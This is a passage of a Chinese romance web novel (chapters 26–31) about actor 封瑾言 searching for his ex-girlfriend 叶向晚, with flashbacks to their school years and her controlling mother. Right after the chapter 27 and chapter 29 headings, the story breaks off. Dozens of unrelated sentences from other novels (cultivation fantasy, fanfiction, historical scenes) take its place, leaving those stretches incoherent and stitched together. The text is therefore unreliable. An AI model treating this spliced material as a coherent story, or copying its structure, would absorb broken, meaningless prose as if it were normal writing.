“嗯,叶向晚那边有没有消息?” “还没……” 凌展易把手机递过去,封瑾言扫了一眼后把头枕在椅背上,有些疲惫的抬手揉了揉眉心。 他知道自己对叶向晚做的事有些禽兽,但那天他真的气疯了,只要一想到叶向晚从头到尾都在骗他,他就感觉身体里有什么东西被炸,五脏六腑都碎裂着疼。 “咚咚咚”。 门突然被敲响,场务的声音传来:“封爷,记者到了。” 封瑾言将未抽完的烟蒂掐灭,转身走了出去。 灯光早已就位,采访位置设在片场的一角,后边正好可以拍到一个柜子,上边放着一个相框,里边是他与陆雨瑶对镜头的照片。 摄影到位,记者和他们例行公事地客套了一番,然后就开始了提问。 “封爷,这次由马凯宏大导演拍摄的新电影《重生》,大家都非常期待,所以对这次的女主角也特别关注,真是非常漂亮啊。” 陆雨瑶冲着镜头娇羞一笑,忙道:“没有没有。” “听说封爷之前跟陆小姐之前就认识是嘛。” 封瑾言微微点头,言简意核的:“嗯。” “嗯嗯,我们两家是世交,还订过娃娃亲……” 陆雨瑶说完马上掩住了嘴,很是惊慌地看了一眼封瑾言,然后倾过身去小声说:“这个不是直播可以剪掉吧?” 封瑾言微微眯了眯眼,随后垂眼活动了一下手腕,“你不都说出来了么?这么大料你还指望人家娱记帮你瞒着?” 他心里清楚,陆雨瑶这是要通过媒体宣示主权,就算她以后跟他公司解约,这个青梅竹马的标签也是甩不掉了。 “哈哈哈,哎呀陆小姐说都说了,这对电影的宣传来说也是好事呀,那我冒昧滴问一句,两位的关系……” 记者抓住这个大新闻怎么可能放弃,赶紧趁热打铁生怕问晚了就没机会了。 “她前几年才回国,我们只是普通朋友,仅此而已。” 封瑾言不知道陆雨瑶还会不会瞎说什么,赶在她开口前淡淡回应了一句。 “哈哈哈……那说到这里,陆小姐是不是也和我们一样好奇封爷从来不爆料的情史呢?!” 陆雨瑶看了封瑾言一眼,然后笑得特别的娇羞。 26:六年没有回家 封瑾言看着镜头低笑了一下,片刻后垂下眼睑。 “天呐!今天我们真的是收获了好多大家感兴趣的话题呢!请问封爷愿不愿意再多给我们透漏一点呢?是就只谈过这么一个人吗?” 封瑾言余光扫到陆雨瑶一瞬间的表情跟吃了苍蝇一样,他才再次开口:“不是圈里人,而且也很久之前。” “哇,没想到向来不善言辞的封爷居然这么的专情呀哈哈。” 陆雨瑶不想听到关于封瑾言曾经恋人的事情,她笑着开口:“今天问了我们这么多私人问题,也该讨论讨论电影了吧。” 她看向女记者笑了一下,记者连忙道:“哎是是是,那接下来……” 半个小时后记者走了,封瑾言坐在位置上没有动,化妆师真正给陆雨瑶补妆,她以为封瑾言是想陪着自己,刚想开口,男人的凉凉的嗓音传来:“以后说话之前好好想想,今天新闻出去你就是走后门进来的女一号,这会给公司带了负面影响,别让公关难做,赶紧联系经纪人。” 陆雨瑶咬着嘴唇转过身,碍于化妆师在场又不好意思发作,只好又怒气冲冲地转了回去。 片场准备妥当,陆雨瑶补完妆,造型师给导演比了个ok的手势,然后快步出镜。 封瑾言本想离开,却又莫名想看下接下来的戏份,便坐在一旁看了下去。 “《重生》三十四场一镜一次!action!” 男主身形有些疲惫地推开家门,看见陆雨瑶之后马上喜上眉梢,跑过去就要抱住她。 “卡!陆雨瑶!你的表情怎么回事?” 马宏凯站起来怒气冲冲地:“你这场戏的状态应该是在一起最甜蜜的样子,你笑得怎么这么牵强?赶紧调整状态!” 陆雨瑶虽然学的是表演专业,但演技不过硬,加上此刻她心情不好,时不时余光瞥向封瑾言。 封瑾言也知道她的不走心,他现在有些后悔当初为了气叶向晚而利用她,结果答应给她资源,还答应她来这。 陆雨瑶需要调整一会,封瑾言也没了看下去的兴致,便起身离开。 “萧爷,你要回酒店吗?” 凌展易在封瑾言推门出来的时候猛地抬头,然后下意识把手背向身后。 “藏什么?”封瑾言皱起眉头。 “没……就是您手机来了几条短信,我……” 封瑾言莫名心里一凛,几步走上前就夺过手机。 是他手下人发来的。 采访的时候封瑾言将手机给了凌展易,让他安排一下公司明天会议之事,没想到来了短信他竟然办不告诉自己。 “萧爷,我们找到了叶向晚的家,但是她的父母说她已经离开家六年没和他们联系过了,除了每个月会固定打钱,就再也没有任何接触,这次也一样,他们根本不知道叶向晚走了。” 封瑾言看完短信后脸色瞬间沉了下来,他紧握着手机,手指因用力而微微泛白。 六年?! “封爷?您……没事吧?” 凌展易看着封瑾言脸色阴沉沉的,心道完了,没有及时把短信给封爷看。 “这个月的奖金扣除!” 冷冷丢下一句话,封瑾言走出片场回了酒店。 凌展易欲哭无泪,一个月的奖金没了。 …… 刚从酒店出来的叶向晚坐车来到了当地中心医院旁边的小区里。 她这周养伤的时候就已经用手机投好实习简历了,下周就可以来这座医院里实习,所以她在网上找了一个离得比较近的小区,在这租房子以后就比较方便。 她运气还不错,刚到第二天就找到了一个公寓,虽然房子稍微有些旧,而且是合租,但是由于地段实在很方便,室友虽是男性,但看上去挺阳光大方的,最主要是合租省钱。 叶向晚中午退房后就把行李搬了过去。 “你来了!” 里面的人听见钥匙声就从屋子里跑了出来。 这是叶向晚第二次见他,名字叫穆云深,个子大概178左右,头发就比板寸稍微长一点,肤色有点偏小麦色,见到叶向晚的时候就一直在笑,长得不是特别的帅,但是非常硬朗。 “你的屋子我早上已经给你收拾好,应该直接就能睡,你再看看还有什么我能帮上忙的没。” 穆云深边说着边帮叶向晚把行李提进屋。 “谢谢,不用了。” 叶向晚向他点点头,推着行李就进了屋。 穆云深也没把叶向晚有些疏离的语气当回事,跟着她后边就走了进去。 屋子的确比叶向晚昨天来的时候干净了不少,但是叶向晚自己肯定还要再收拾一遍,她回头跟穆云深说 “我现在要收拾东西可能会比较吵,我就先把门关上了。” “好,那你有什么需要帮忙的叫我。” “嗯,谢谢。” “不客气,咱们现在是室友,应该的。” 穆云深一点也不见外,笑着出去顺便把门带上。 叶向晚看着关上的房门站在原地有些晃神。 很久之前,她遇到的封瑾言也是有着相似的开朗,但那男人带着邪肆,妖孽,让人又气又想靠近。 叶向晚感觉自己现在就像一个矛盾体,想到封瑾言的时候身体会不由得打个寒战,但她之所以跑了这么远,却也都是为了保护封瑾言还有她心中珍藏着的那一年回忆。 她曾经自以为是个薄情的人,却没想到,之所以薄情是因为情只有那么点,一给就是倾尽所有,河涸海干。 叶向晚用了整整一下午的时间才大概把东西收好,她在浴室洗了个澡,出来的时候刚要进房间,余光就瞥到了穆云深趴在桌子上似乎睡着了。 他们两个的房间是正对着的,穆云深没有关门一眼望进去正好可以看见书桌,上边堆着很高的一摞书,看起来好像是考研要用。 叶向晚也不担心会被欺负,她不是柔弱的女生,如果对方对她有坏心思,她就立马搬走。 她看了眼表,用脖子上的毛巾大概把发丝擦了擦,就转身进了厨房。 “我就说哪来的香味!” 大概过了半小时,穆云深来到厨房门口。 27:室友 “这大黄是怎么了,怎么能如此暴躁呢,他以前在我面前,可从来没有这样过。”站在一楼大厅,黄嘉木的声音传到了烨烨的耳边,看着声音传来的方向,她盯着二楼,好奇的问到。 而且这一回似乎并没有太多的限制条件,很多优势都在此刻被放大。 炽火学院的四名魂师同时发动攻击,戴沐白、泰隆和黄远的处境可以说是岌岌可危。 “话说刚才的那声惨叫好耳熟,是你叫的嘛,我觉得你声音挺好听来着,怎么能发出那种猪叫?”打量着烨烨奇怪的坐姿,月并没有发现其实她下面坐着一个刚才帮她缓冲了的“东西”。 胖子越越来劲,也越变越阴。当他做主两字刚刚落下,突降一道闪电,直接就劈在了树端。 最后,林霄觉得自己有必要利用一下作梦,作梦有实力,而且有把柄被他抓住,和作梦搞好关系,说不定还能让他去干掉自己的竞争对手。 亲吻的过程中,秦潇一直强忍着,避免门外的秦璇听到,此时的门正虚掩着,屋内的亮光微乎其微。 当第一道脑袋彻底从椭圆形洞穴的阴影里走出,众人才看清了它们的本体。 无论运用灵力多么极致,无论操控者与衍生物契合度多么高,在吴命设下的屏障内,做一切都是徒劳。 林天微微点头,看来之前司元说的是真的,修真界的结界真的是被热恩破坏了。 在他们惊骇的目光中,九尾手持着巨大长剑朝着不远处的三人疾驰而来。 琴道偏门之道,不少人走这一道,但是最终却没有多少能证道成圣,而东华琴君却以此入道、证道,其中可怕让人无法想象。 俗话说,上梁不正下梁歪,他的孙儿就这样的德‘性’,这位御兽尊者多半也不是什么好东西。 看着坐在椅子上逗弄着自己两个孩子的猿飞日斩,张烨不禁嘴角抽动。 “使者大人,我想见帝王大人。”恶魔宗宗主对据点里的人说道。 “伍孚,我知你假意迎合董卓,是为报汝兄之仇,不若你放了我二人,我等全力助你,凭袁氏的威望和脉络,定能让你手刃董贼,报仇雪恨!”袁基信誓旦旦的,沉声说道,那眼神里的真诚简直,让人惊讶。 因此,在西玄域各大势力中都是抢手的货色,尤其是那些所谓的少爷公主们,为了彰显自己的财力和实力,抢的更是头破血流。 不过借着与许仙面对面的机会,白里度便也利用盗门面具,成功将许仙的容貌给盗了来。 一夜时间一晃而过,秦明抓住每一天时间努力修炼,终于将雷霆咆哮秘法提升到了第二层:雷震。 “若兰,晚上有空吗?一起吃饭?”白里度现在特后悔昨天中午为了老牛而推掉和周若兰的午饭,所以才鼓足了勇气开口约对方。 高卢爽朗地笑起来,他邀请诗人纳松嘉尔坐在他的旁边,他觉得这个以在贵族聚会上唱歌,吟诗的,地位低微的人有勇气,而且胸膛里蕴藏着伟大人格,是昔人城的英雄人物。 就在众人准备挑选动手目标的时候突然知月询问道以他们现在的实力是否有机会占领超级帮会驻地,一时间这让很多人眼睛亮了起来,毕竟他们也知道占领超级帮会驻地获得的奖励定然比摧毁一座皇城更加丰厚。 突然,画像仿佛如一扇门一般被缓缓推开,一个少年从里面一跃而出,少年身上些许的灰尘,证明了他刚刚从一个什么狭窄的地方钻出。 闪烁着银色光芒的拳头大如钟鼎,其拳法大开大合,每一拳落下,大地都在剧烈的颤抖,虚空中有一座座古朴苍桑、巍峨原始的大岳伴随着他的拳头狠狠落下。 没有人知道高斯岛是什么样的世界,没有人知道我内心曾经的痛苦,没有人,永远。 “好了,别想这些了,短时间内他们是不可能招惹我们的,只一头神级坐骑还不足以改变双方的差距。”烟花易冷淡淡道,说着这些的时候继续攻击。 “狼是兽类,它们只会扑食,只有熊才会直立起来攻击。这不是野兽的创伤,这甚至不是……我们能理解的创伤……”一名检查疯狗伤势的神甫露出了难以置信的神情。 所以,要注意的也只是现在这一会儿而已,丹辰倒是完全不在意。 琪妹一听,脸蛋立刻就变成了熟透番茄的颜色,低着头,不说话。 “但是最近桂西省的市场也是逐渐的扩大起来。因为桂西省的一个巨大的传銷团伙,已经被灭掉了……”听到李如诗的话,楚天倒是也一阵错愕。 同样,天空中正在和林风交战的李阳此时心里面也不平静,他也不知道林风为什么到现在不出事,心说这究竟是怎么一回事,难道刘天宝并没有对威亚做手脚,否则林风怎么可能到现在还没有一点级事情? “那么士道努力的让这个精灵娇羞吧!”耳机中传来了琴里斗志满满的命令。 平地起波澜,原本被束缚在椅子上的精灵。这一刻逐渐的漂浮在了空中,黑气不断的从精灵的身上上升,一股未知的力量开始不断的拉扯着黑气。 28:回忆起六年前 当目光扫到前面的内容时,叶向晚瞬间呼吸一窒。 #封爷公开情史#。 顿时,叶向晚的神经像是拉紧的弓弦一样绷了起来,惊得手指都有些颤抖。 公开?! 怎么可能,他怎么会?! 他只要公开就相当于跟他家人闹翻,放弃家族继承权,而且自己是不可能再跟他在一起的。 叶向晚用脊背抵着冰凉的墙面,深深吸了一口气后,拇指才有些发颤地点开了那条热搜,那是一段采访视频。 叶向晚没有直接打开,但是看文案和热评就能知道现在有两个爆点,一是采访里电影女主失误说出自己和封瑾言曾经定过娃娃亲,但是介于封瑾言的回答,大家明白两人并没有在一起。 所以封瑾言的女友粉现在已经把陆雨瑶撕了个狗血喷头,说她心机、走后门、蹭热度。 但这个是次要的,第二个爆点才是真正引起轩然大波的。 封瑾言以前在任何一个采访里都避而不谈自己的情史,这次突然间就明确爆料了。 而且言语之间也有维护之意,不是圈里的人大家就不能光明正大地去排查人肉,而更让迷恋封瑾言的那些小迷妹最抓狂的,其实是采访视频最后放出的彩蛋。 叶向晚深吸一口气打开视频,把进度条拖到了后。 “我相信以您的地位与热度,这条采访您的前任一定能看到,那最后有没有什么话想对她说呢?” 封瑾言眉头微皱,他没想到最后记者居然还没放过这个问题。 问题刚问出来的时候,封瑾言眉眼微微黯淡了一下,他靠坐在椅背上,本来松松交叉的手指忽然微微收紧,拇指轻轻摩挲着关节。 片刻后,他抬眼看向记者,喉咙微不可察地上下滚动了下,轻声说了一句:“今天采访就到这。” 叶向晚看着屏幕那熟悉得不能再熟悉的脸,胸口剧烈起伏了几下。 穆云深已经在换衣服了,刚在屋里喊了一声什么叶向晚也没有听清。 她咬着唇瓣打开评论,粉丝已经炸锅了,封瑾言的每个动作其实都非常非常的细微,但是这些倍镜女孩们针对封瑾言的所有微行为,进行了非常深刻的剖析,结果不少自称心理学专业的人都达成了一个共识。 第一个喜欢上的人,果真是会刻在记忆里。 穆云深风风火火地从屋子里跑出来,然后穿好鞋走出门,结果扭头发现叶向晚还站在原地愣神,紧握着手机的手指边缘都泛了白。 “你怎么了?” 穆云深有点担心,走过去扫了眼她的手机屏幕,“封瑾言?” 名字说出来的瞬间叶向晚指尖微动,她有些恍然地看向穆云深。 有些人的存在如果突然被提起,刹那间就会乱了阵脚,慌了心跳,就像不能触碰的禁忌,一旦再次翻开就不知道会生出怎样纠缠的藤蔓,那些曾经闭口不提的疯狂,可能在将来的某时某刻水落石出,给人当胸一剑。 “那个……向晚……” 穆云深偏头看向侧视镜,目光扫过叶向晚的脸:“我一直就想问,从你来的那天,你脸色就特别苍白,你是不是身体不太舒服?” “没有。” 叶向晚偏头看向窗外,路上的行人被飞快地甩到了身后,路过公交站台的时候,广告牌上有一个飞扬的笑容倏地跃入她眼中,顿时心尖一跳,眼神下意识地跟着往后追了过去。 “怎么了?看见什么了嘛?”穆云深轻点刹车,回头问她。 “没……看错了。” 叶向晚转回身子,整个人有些疲倦地靠进椅背。 她一向都是个自控力非常好的人,学习上,生活上,情绪上,她都能保持一个封闭住自己的空间,在里边做自己该做的事,可唯独面对封瑾言的时候,就算没有面对面,她也克制不住自己开始犯贱。 从六年前开始,她就把心一点一点挖空了,只利心尖里留了那么些许念想,可封瑾言现在却硬是一刀刀别下去,让她的心头血留了个干干净净。 叶向晚闭上眼睛,手轻轻覆盖在胃上。 她知道自己的身体情况不是很好,那天胃出血的时候,她就清楚自己应该找个谁也不认识,谁也找不到她的地方好好休息一下,可她现在根本没钱住院,只能自己大概治疗一下。 她为了封瑾言吃了太多苦头,胃本就最经不起情绪波动,可那男人连上个采访都不放过她。 既然不可能在一起,为什么要给希望? 一边把人推进深海里,一边又扔进去了根岌岌可危的浮木。 真残忍! “你胃不舒服吗?” 穆云深把车停在医院门口,抬手替叶向晚打开了安全带,“你要是身体不好别挺着,自己一个人在外边多让家人担心啊。” 叶向晚睁开眼睛缓缓吐出了一口气,“家人……” 她轻嗤一声推开车门,“我可没有。” 与此同时酒店房间内。 “你说她家人不肯告诉当初到底是怎么回事?” 封瑾言扫了眼正要进来的凌展易,示意他出去。 “算了,你继续盯着叶向晚,她家我到时候空出来时间自己去问。” 挂了电话,封瑾言眯了眯眼,当初因为王蒙,他家人知道这件事后,反应非常剧烈,扇了他一巴掌后,二话没说直接给他办了去美国的签证。 可当初如果不是因为那一阵叶向晚突然消失,近一个月见不到人也联系不上,最后一通电话还是告诉她为了勒索钱要分手,不然他怎么可能会走?! 他就算是在家把腿摔断了也不可能离开叶向晚在的地方。 但现在看来,当初那半个月到底发生了什么他不知道的事?! 封瑾言眯了眯眼,不知不觉陷入六年前的回忆中。 六年前,秋季,这个时节的天亮得依旧很早,阳光是还带着深度的明亮。 封瑾言日常晨跑后,冲了个澡,早饭吃得很随意,走进校园时还是一整片空寂。 “哟,小伙子天天这么早啊。” 门口警卫大叔笑着跟他说话。 29:喜欢(1) 不过这也让鸭子感到耻辱,他大叫一声,接着一口龙息就喷向了几位石头壳一样的怪物。 当然了,好事和坏事往往是一起到来的。虽然说现在的自己到了一线队。但是这也意味着自己需要付出更多,这样才能在一线队获得出场机会。 就在雷霆离郭栋不过还有咫尺之距的时候,一尊雕刻有十八罗汉之像的九丈金钟突然出现将郭栋笼罩在了其中,将这第五道庚金雷牢牢的挡在了雷池之外。 或者是眼睛和嘴巴都变成一样形状的空洞:整个脸已经变成虫子或者是变为狼的也有:还有背后长出一双恶魔的翅膀:其中甚至有头和身体分开的场景。 这些大臣们你一言我一语,各自都有各自的主意,各自都有各自想要攻打的国家,把一个龙台大殿搞得吵吵嚷嚷,赵丹也是不堪其扰。 “当然要看,可在此之前,还请真人回答在下的问题。”周懿不依不饶,咬着这个话题不愿松口,倒让静慧有些为难。 第一席知道她为什么会在意吸血鬼的性别,眼前的好友有一个非常疯狂的想法。 巴力受了一剑几乎两支前肢全部被震碎,他再也不敢硬接,咕噜一下子滚开,同时身后的大尾巴抡圆了就抽了过去。 岳忠一声怒吼,一掌拍碎了茶几,眼中冒出道道血丝,吓得杨希浑身发抖。 辰琳琳回来前跟他说过自己打算先洗个澡,没有功夫搭理他,让罗昭远随意。于是,罗昭远四处打量着,检查屋内的布局和陈设。 这样的等待分外的漫长,时间过的总是那样的缓慢,仿佛凝固了一般,每一分钟都是那样的难熬。 “说吧,大雪天的来找我有什么事?”将烟灰点落,登势婆婆看着剑心说道。 游黎抬头看了一眼首扬依然湿漉漉的头发,拿过他脖子上的毛巾,起身给他轻轻擦拭。 见若绯没有多问,郭舒林赶紧端碗吃饭,没再说什么,吃完了饭,若绯从锅里盛了满满一饭盒的香辣兔肉。然后就什么都没管。直接拿了自己的东西回学校了。 闯入体内力量肆虐,让他失去防护能力,转眼身上插了十七八把冰剑,重重落地死去。 “潘若绯,你说我要干嘛?”用力抓了若绯的手腕拖进了船舱,一屁股坐到床上,然后用力一拉,若绯失重跌入他怀中。 看着他的背影,那一族族长,眼中阴晴不定,他转身一步迈出,直接消失不见。 “少给老子打岔!谁让你对老子公主抱的?!”晕乎乎的没力气,首扬吼得很是底气不足。 被巴尔干半岛的这些吸血鬼奉为神之子,然后用他的名号,和他帮的一些忙,占领了多半欧洲的土地。 “那可不一样,他们可没有老公的手下厉害,也没有他们威风,这些大个子跟到哪里都是让人仰视的存在,那种感觉可是无法形容的。”福田美玲子撇了撇嘴说道。 比伯心中愈发不安,这个家伙,是不是发现自己了?是不是有些明显了? 要是在一前他的确有些危险,不过在他突破到玄丹一重天后,即使打不过五重天的修者,但是跑路对方还是拦不住他的。 宫无邪将睡袍穿好,发现软榻上的白团子竟然变成了粉团子,毛茸茸的耳朵还一抖一抖的。 那些牛魔队员们纷纷仰头回应了一声,埋头狠狠的撞向了村长张旭光。 “对了,等贺金明醒来你告诉他,还想玩就来找我,我叫李青龙,地址他知道,想跟我怎么玩我都陪他,不过别打歪主意,否则不是断后,我让他一家死绝。”李艳阳上车之后对龙老大平淡道。 “好纯,这价格值得。”江东羽舔了舔了嘴唇,想要再喝一口却被苏轻柔拿走了酒坛。 “您问,我能回答的一定无所隐瞒。”高官失血过多,意识此时非常的薄弱,似乎随时可能睡去,对死亡的恐惧也不断侵蚀着他的内心。 看到东离山主一脸可怜巴巴的谄媚,西合仙子心一软,象征性拍了一下东离额头。 “呃,你化妆了?”叶征重新打量起白愫,肤色白里透红,满脸的胶原蛋白,根本不像是化过妆的,但……但自己是个直男,对化妆方面没什么研究,没准白愫也化过妆了? 一条条闪电不断随着李大龙的挥拳轰落下来,许多修为低微的圣人冢弟子惊愕的发现,原本以为背靠圣人冢,拥有圣人冢教授的法阵,即便是拥有天地业位的强者也可以一战。 饿了几天之后突然吃到这样的柿子,让她惊喜满足得眼睛都微微眯了起来。 而在赵国北面,李靖兵团跟韩信兵团,并排南下,就像拉网一样,将狙击阵线不断南移,压缩妖族联军生存空间的同时,也是进一步烧毁妖族存在后方的粮草物资。 30:喜欢(2) 具体流程都已经告诉各班班长。 身为班长的封瑾言把视线从窗外收回,落在了前面在写作业的叶向晚身上。 他抿了抿唇,抬腿踢了一脚前桌椅子。 肉眼可见叶向晚下意识要转身,结果转到一半又硬生生给转回去了。 封瑾言:“……” 封瑾言也没有再闹她,但放学铃刚刚打响,叶向晚就第一个甩上书包疾步走出教室,封瑾言甚至连叫她都没来得及,于是他也快速的操上书包跟了出去。 叶向晚几乎以最快的动作到了家,外套都没脱,匆匆忙忙地打开行李箱收拾要带到寝室的东西,但紧赶慢赶还是在把箱子扣上的一瞬间,听见了大门钥匙拧动的声响。 叶向晚抹了把额角忙出来的汗,听着逐渐离近的脚步声,疲惫的闭上了眼睛。 “叶向晚,你在干什么?” 她的母亲姜鸿玉堵在了门口,声音里已经满是压制不住的怒气。 叶向晚手掌压在行李箱上,片刻后撑着站起了身。 “我要住宿。” “住宿?!” 姜鸿玉的声音拔高得有点尖利:“上龙川这事我还没跟你算账,现在连放学你不在家呆着了?” “我不用你们看着。” 叶向晚声音平静地说着:“我自己可以学得很好。” “你怎么这么自负?!” 姜鸿玉盯着她:“我见了太多学生,尤其这届一中,你知道有多少中考成绩和你只有零点几分之差的吗?都是天赋和勤奋全具的人才! 妈妈当年也很聪明,也很努力,可是你姥姥姥爷那时对我没有很上心,所以我后来非常遗憾地错过了心仪的大学,妈妈不能让你重蹈覆辙。向晚啊,现在社会进步了,诱惑太多了。” 姜鸿玉走进屋子,苦口婆心地说:“你现在又正值青春期的年纪,难免有叛逆的心思,妈妈这是为了你好,爸妈现在和你一起努努力,到时候考进清华,这说出去多骄傲啊!你说是不是?” 叶向晚眼睛一眨不眨地看着她母亲良久,喉咙里堵住的那口气涨得越发疼痛,她背过身拎起行李箱,抬手向后撸了把头发。 “我不考进清华就不是骄傲了对吧!而且你的遗憾为什么要我来补偿?” 她重重呼出一口气闭了闭眼,“你从来都没问过我想要什么。” 她一直觉得这话说出来有些矫情,但今天实在是忍不下去了。 “你!简直不可理喻!” 姜鸿玉挡在门口:“一个学生不管他想要什么,都必须好好学习!我跟你说了这么多你怎么一点都听不进去,小时候为了给你转学,我和你爸费了多大劲啊!就为了给你找个好环境。” “所以我现在身边一个能说话的人都没有。” 叶向晚勾了下唇角,“您满意了吗?” “啪!” 耳朵里有那么几秒钟的嗡鸣,火辣辣的刺痛逐渐从左半边脸烧起,叶向晚偏着头,用舌尖顶了顶脸颊。这一巴掌扇得着实有点重,可能她很久没有反抗过吧。 “你把行李箱放下!”姜鸿玉气得手直颤。 “不,今天我是必须走了。” 叶向晚弯腰拎起地上的书包甩在肩上,冷笑一声,“不然我这巴掌,可不是白挨了吗?” 她头也不回地踹上大门,女人刺耳的喊声戛然而止。 她家长很体面,只会在家里对着她喊,在门外都是彬彬有礼有头有脸的人物。 叶向晚抹了把脸,终于感觉周身松了不少,就是那刚被扇了的半边脸开始突突地跳着疼。 街边华灯未上,天色略有些暗淡,行人都步履匆匆家赶,随着风,飘香的饭菜味时断时续地传来。 在一天最有烟火气的时候,叶向晚独自一人拎着行李箱走到了宿舍楼下。 宿管大爷在屋子里吃着一碗拌面,还跟着旁边放的小广播惬意地摇头晃脑。 叶向晚轻轻敲了敲窗子。 “诶,小丫头叫什么?哪个班的呀?” 大爷打开窗户心情颇佳地拿出一个厚实的本子:“在这登记一下所有信息。” 大爷看着她慈祥地笑着:“钥匙拿到了吧?保管好啊,我这里本来有备用的但学校还没给我呢,快上楼收拾去吧。” 钥匙? 叶向晚站在原地,和大爷大眼瞪小眼了半晌。 突然手机在她口袋里嗡嗡地震了起来。 “叶向晚!” 电话刚接起,还没等她开口,那边封瑾言懒洋洋地声音带着邪魅传来,“你是打算住寝室?” 叶向晚抬头扫视了附近一圈:“你怎么知道我要住寝室?” “这你就不用管,没钥匙进去吧!钥匙我有。”他话锋一转:“我今天想吃学校西门的那个爆浆巧克力蛋糕,要最小块的,一会送来我家,尽快。” 叶向晚沉默不语地盯着挂断的屏幕直到黑屏,但很快又重新亮了起来。 一条定位消息。 很显然是想让她去他拿钥匙。 大爷此时吃了口面条,正笑呵呵地抬起头,结果措不及防就对上了张仿佛刚被撅了棺材的脸。 “哎呦这脸色吓我一跳,小丫头和男朋友吵架了?” 叶向晚:“……” 一脸“日了狗”的女生,迈着急躁的步伐冲进了蛋糕店,吓得年轻小店员110都攥在手里。 未成年网吧进不去,身份证走得匆忙也忘了带,毕竟叶向晚怎么也没想到家不能回,宿舍还进不去。 封瑾言给她发的定位位置着实有点远,是个远离市中心的别墅区,那地方周围十多公里都没有一个公交站台。 她不管封瑾言是怎么知道自己要住寝室又没有钥匙的,也不知道他是怎么会有女生寝室钥匙,但不去就要露宿街头。 她也没想过封瑾言会骗她,就是莫名的信任他。 把行李寄存在大爷那,叶向晚便打了个车过去。 半个小时后,在一眼望不到边的堵车长龙中,淅淅沥沥的雨滑落车窗,叶向晚按了下屏幕,手机挣扎着给她拼命亮了最后几秒钟,就彻底没电关机了。 “……” 她人生中几乎第一次信了邪。 这个点不光遇到了晚高峰,还碰上了车祸拥堵。 31:喜欢(3) 最后她拿着司机卖给她的雨伞下了车,把校服外套罩在蛋糕盒子上,徒步走进雨中。 很快,叶向晚每往前走十米,她就越确信一件事情:上辈子的今天她一定是绿了天王老子。 风和雨随着她的移动变得越来越夸张,走到后来撑着的伞连装饰都做不了,雨水劈头盖脸地迎面砸下来。 “靠。” 叶向晚实在忍不住低骂了声。 她抬手向后撸了把头发,确认好方向后,继续麻木地走着,马路极为平坦宽敞,一路连个能躲雨的建筑都没有,她浑身上下已经湿得不能再湿。 索性继续迈着机械的步子闷头走,以至于朦胧间似乎听见有人叫了她的名字也没有停下来。 “叶向晚!” 声音更清楚了一些,还很熟悉,是那个一周有五天都在她身后日常聒噪却又很好听的声音。 叶向晚有些费力的抬头,用手抹了把脸上的雨水眯起眼睛,就看到一个奔跑的黑影迅速接近,带着满脸掩饰不住的焦急和慌张,在她面前撑开了一把黑伞。 “你疯了吗!干嘛不接电话啊!这么大雨不知道打个车吗!你过来费劲的话回家不就行了!你平时那么牛逼的脑子这时候哪里去了啊?!” 一长串群里啪啦的蹦出来,嘴的主人连口气都没喘。 叶向晚眨掉眼睫上还沾着的雨水,动了动唇终却没说出来什么质问亦或怨怒,今天她回家时都已经做够了,没什么意思。 她拎起自己灌满水已经变得沉甸甸的校服外套,把蛋糕盒子推给了封瑾言,然后摊开被袋子勒出了红痕的手掌,冷声道:“钥匙” 暗灰色的浓云挤压着天空,除了哗哗的雨声什么也听不见,湿透的白色T恤紧贴脊背,勾勒出少女纤细的身材。 炽闷的暑气一直延续到这场雨落地,温度倏地就转了凉。 “冷不冷?” 封瑾言抱着那一大盒沉甸甸的蛋糕清了下嗓子,“快上车。” “不冷。” 叶向晚声音的温度比刮来的风还凉,依旧是那个问题:“钥匙呢?” 封瑾言盯着她还挂着一层湿漉漉雨水的胳膊上,已经被冻起了一层鸡皮疙瘩。 叶向晚抿着唇不着痕迹地用外套盖住了:“钥匙给我。” 封瑾言伸出手指轻擦拭了一下她眼角的水珠:“其实我……没有钥匙,刚才一直联系不上,也不知道你到底怎么回事,就想着在这……等会……” 封瑾言的声音被叶向晚看冒着怒气的眼神盯得没说下去。 他竟然没有钥匙,亏她这么信他。 封瑾言也知道骗人不好,可不知为什么,他就是挺想引起这女生注意而已…… 但叶向晚不出声,他也没继续说下去,两人沉默着。 就在这股窒息的沉默时,叶向晚终于叹了口气,语气充满无奈地说道:“你没有钥匙,我没地方住。” “先去我家吧!” 他以为叶向晚会拒绝或者纠结许久才会回答,没想到他刚说完,她点点头:“走吧!” 封瑾言听后一双眼眸在潮湿的雨里水很是清亮,他非常明显地把伞往叶向晚那边偏了偏。 “不用,”叶向晚用手背挡了回去:“反正已经湿透了。” 但封瑾言还是将伞偏向她。 两个人坐在车后座里,一人一边。 封瑾言看了眼一直望着窗外的叶向晚,不着痕迹地往那边挪了个位置,却不想叶向晚突然转回了头,他面不改色的偏过脸。 叶向晚手指来回绞着衣角,许久才出声:“你要是想道歉直接说就行。” 司机后背突然绷得有些直,估计是从来没听见有人这么跟自家少爷说话,真是吓了一跳,但他更没想到的是…… “我……” 封大少爷拧着俊眉,微微低着头,脚把车垫翻来覆去地踩着。 半晌,他使劲踢了下那无辜的车垫,索性破罐子破摔道:“我本来以为你不会来,毕竟不没有回我,也不接我电话,所以……” 封瑾言的视线落在叶向晚脸上,她额前的碎发湿漉漉地贴在白皙的皮肤上,水顺着发丝成股流下,有的滑到精致的下巴上坠落,有的沿着脖颈,锁骨流进已经湿透了的衣服里,整个人似乎连呼吸都是冰凉的。 “……对不起。” 封瑾言人生第一次道歉,其实他是有打算去找叶向晚,只是他没有说。 他叹了口气从纸抽里拽了一大把纸,一股脑塞进叶向晚手里,结果叶向晚没有动。 她肩膀微微垂落,样子又冷又透着可怜的无助。 封瑾言咬了咬牙,动作有些笨拙抬手帮她擦雨水。 终于,在第不知多少片纸屑粘在叶向晚脸上时叶向晚忍不住了,一把拽住封瑾言的手腕拉了下来,“我自己来。” 封瑾言刚被拉住的时候还有些难过,但一看见满脸甚至头发上都有纸屑的叶向晚之后,自己勾了下。 发现他在笑,叶向晚瞪了他一眼,被瞪的封大少爷捏了捏手里半湿的纸问:“你还生气?我……” “少爷,到家了。” 司机轻轻咳了声,估计是实在看不下了,毕竟以自家少爷的身份,无论是哪家的千金也不需要把态度摆得这么低。 封瑾言冷冷的扫了一眼司机,司机被自家少爷的眼神看的莫名其妙。 他刚刚说错了什么吗? 封瑾言领先下车。 “哎呦少爷,您可算回来了。” 一个看上去四十多岁的管家,语气焦急地撑伞跑了出来, “这么大雨您……诶?这女生……” 叶向晚刚把座位上的纸屑收拾好,才打开车门下了车。 “少爷您去接朋友啦?” 管家又撑着伞出来接上了叶向晚:“怎么淋成这样啊,快进屋,我给您找衣服去。” 